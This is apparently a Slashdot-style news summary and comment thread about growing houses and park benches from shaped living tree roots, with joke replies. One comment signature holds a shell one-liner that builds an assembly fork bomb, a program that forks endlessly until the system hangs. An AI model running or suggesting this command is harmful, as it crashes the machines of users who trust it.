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Live Architecture — Grow Your Own Home
Ostracus writes to share a new take on the word "treehouse." Engineers and plant scientists from Tel Aviv have taken the application of tree shaping to the next level, designing everything from streetlamps to houses. "A home built from trees, the researchers said, would be a natural storm protector. 'After earthquakes and after tsunamis the only structures that still survive are trees,' said Yaniv Naftaly, director of operations at Plantware, a company founded in 2002. Naftaly told LiveScience the same sturdiness should apply to tree-made homes. Eshel and TAU colleague Yoav Waisel are working with Plantware to commercialize the leafy designs. The team found that certain tree species grown aeroponically (in air instead of soil and water) have roots that don't harden. Once the malleable, so-called soft roots grow long enough in the lab, they are molded around metal frames in the shape of a playground or park bench."
Gives a whole new meaning to "Got Root"!
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I didn't have long pointy ears or hairy feet. The only trees that will be used for MY house are ones that are cut down and milled into high-grade timbers.
Leave the tree and hill homes to the Elves and Hobbits.
Official Heretic from the "Church of Global Warming". Proven right thanks to whistle blowers. AGW = Flat Earth Theory
No longer would we have to call Dutch Elm Disease a disease, we can just call it "Urban Renewal".
Just because you can mod me down, doesn't mean you're right. Shoes for industry!
Trees don't grow on... Well, yes they do, but Rome wasn't built in one day either.
Would be nice, but it's too slow for any of us now living to use it.
We'll gene splice them so that they can very quickly when fed on a high nutrient liquid like animal blood.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Finally- the last comment.
Hmm-- let's see- trees remain after storms... so that's great!
-- so lets change trees, so they aren't treelike, but houselike
but still trees! so they will stay! perfect!
what a bunch of f**knuts
every day http://en.wikipedia.org/wiki/Special:Random
I have have an Ewok fur coat. And I belong to the animal welfare group, People Eating Tasty Animals. We believe in the welfare of humans. :P
-- I ignore anonymous replies to my comments and postings.
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Give 'em a break. There aren't many trees or hurricanes in Israel.
And roughly at the same resolution, state of the art for 1993